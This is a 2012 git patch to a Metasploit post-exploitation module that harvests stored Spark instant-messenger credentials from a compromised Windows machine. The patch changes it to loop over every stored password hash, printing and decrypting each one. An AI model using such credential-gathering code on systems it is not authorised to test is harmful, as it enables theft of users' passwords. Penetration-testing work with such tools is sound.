From b71729bf5f75ba8e1f31a5015f71a1338cc8b7e6 Mon Sep 17 00:00:00 2001 From: Brandon McCann Date: Wed, 26 Dec 2012 20:32:41 -0600 Subject: [PATCH] fixed multi stored creds issue --- .../post/windows/gather/credentials/spark_im.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index fa20a2bb46..7c74d87d3d 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -102,12 +102,18 @@ class Metasploit3 < Msf::Post # store the hash close the file password = password.delete_if {|e| e !~ /password.+=.+=\r/} - hash = password[0].split("password").join.chomp - print_status("Spark password hash: #{hash}") if datastore['VERBOSE'] - config.close + password.each do | pass | + if pass.nil? + next + end - # call to decrypt the hash - decrypt(hash) + hash = pass.split("password").join.chomp + print_status("Spark password hash: #{hash}") if datastore['VERBOSE'] + + # call method to decrypt hash + decrypt(hash) + config.close + end end end end